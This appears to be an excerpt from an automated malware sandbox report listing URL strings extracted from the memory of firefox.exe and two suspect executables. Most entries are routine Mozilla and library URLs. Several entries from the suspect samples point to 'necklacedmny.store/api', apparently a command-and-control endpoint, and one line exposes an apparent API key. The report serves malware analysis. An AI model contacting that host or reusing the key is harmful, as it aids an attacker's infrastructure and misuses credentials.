Source: firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000019.00000002.3034070889.0000025E80603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000019.00000003.2929393111.0000025E8928B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000019.00000003.2929393111.0000025E8928B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000019.00000002.3033711233.0000025E802F0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2874159292.0000025E81138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874853592.0000025E8116F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2873550106.0000025E8111D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874578651.0000025E81153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2869331652.0000025E80F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiments/screenshots/schema.jsonexperiment-apis/sy
Source: firefox.exe, 00000019.00000003.2956838573.0000025E8914A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000019.00000003.2956838573.0000025E8914A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000019.00000003.2956838573.0000025E8914A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3009852946.0000025E71011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C701CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000019.00000002.3028948986.0000025E7E9DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000019.00000002.3049479881.0000025E81528000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E89782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2942879261.0000025E89782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schemaFRAMEBUFFER_INCOMPLETE_ATTACHMENT
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000019.00000002.3028948986.0000025E7E9D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3047335193.0000025E814F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000019.00000002.3047335193.0000025E814B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000019.00000002.3068152789.0000025E82497000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb8
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3020548386.0000025E7D1BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039979682.0000025E80D65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3034070889.0000025E80620000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource://pdf.js/PdfJsDefaultPreferences.sys.mjsr
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3018136513.0000025E7CE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039979682.0000025E80D65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/Ne
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3018136513.0000025E7CE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039979682.0000025E80D65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s_injectDefaultProtocolHandlersIfNeededhttp://win.mail.ru/cgi-
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C70172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000019.00000002.3020548386.0000025E7D1B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: file.exe, file.exe, 00000000.00000003.2123562004.000000000176D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2150740963.0000000001772000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2076082716.000000000176E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123681269.0000000001778000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 21024c5511.exe, 00000009.00000003.2797498479.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2785938732.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2782680341.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2997206794.00000000012EA000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2782618294.0000000001319000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2797279610.0000000005BCB000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2956312480.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2999480700.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2973927647.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2979596133.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2956186047.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2998836914.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2956999656.00000000010E1000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2954765378.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000003.2150740963.0000000001772000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/-A
Source: 21024c5511.exe, 0000000E.00000003.2972147565.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/I
Source: 21024c5511.exe, 0000000E.00000003.2933392825.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/J
Source: 21024c5511.exe, 0000000E.00000003.2972147565.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2972645594.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/M
Source: 21024c5511.exe, 0000000E.00000003.2933392825.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/R
Source: 21024c5511.exe, 00000009.00000003.2835176834.0000000001313000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2933392825.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2998836914.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2906476292.00000000010E5000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2911472415.00000000010E5000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2933392825.00000000010BF000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2972147565.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2917844343.00000000010E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 21024c5511.exe, 0000000E.00000003.2933392825.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api8
Source: file.exe, 00000000.00000003.2144213376.000000000178E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2140091412.000000000178F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2150740963.000000000178F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168246756.000000000178F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2259665028.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api=;
Source: file.exe, 00000000.00000003.2150740963.000000000178F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168246756.000000000178F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api?
Source: file.exe, 00000000.00000003.2140033608.0000000005F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiB
Source: 21024c5511.exe, 00000009.00000003.2803192433.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiEd7sSF
Source: 21024c5511.exe, 0000000E.00000003.2933392825.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2906476292.00000000010E5000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2911472415.00000000010E5000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2917844343.00000000010E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiI
Source: file.exe, 00000000.00000003.2259665028.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apic
Source: 21024c5511.exe, 0000000E.00000003.2999480700.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2973927647.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2979596133.0000000001064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apie
Source: 21024c5511.exe, 00000009.00000003.2997206794.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apih
Source: 21024c5511.exe, 0000000E.00000003.2998836914.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2972147565.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apir
Source: 21024c5511.exe, 0000000E.00000003.2933392825.0000000001064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apis
Source: file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/tens
Source: 21024c5511.exe, 0000000E.00000003.2998836914.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/ulM~
Source: 21024c5511.exe, 0000000E.00000003.2933392825.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/z
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039979682.0000025E80D65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sisDefault
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3018136513.0000025E7CE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039979682.0000025E80D65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sWarning:
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%shandlerSvc
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comhookProfilerRecordingButtonMOZ_BROWSER_TOOLBOX_BINARYdeveloper-button.to
Source: firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
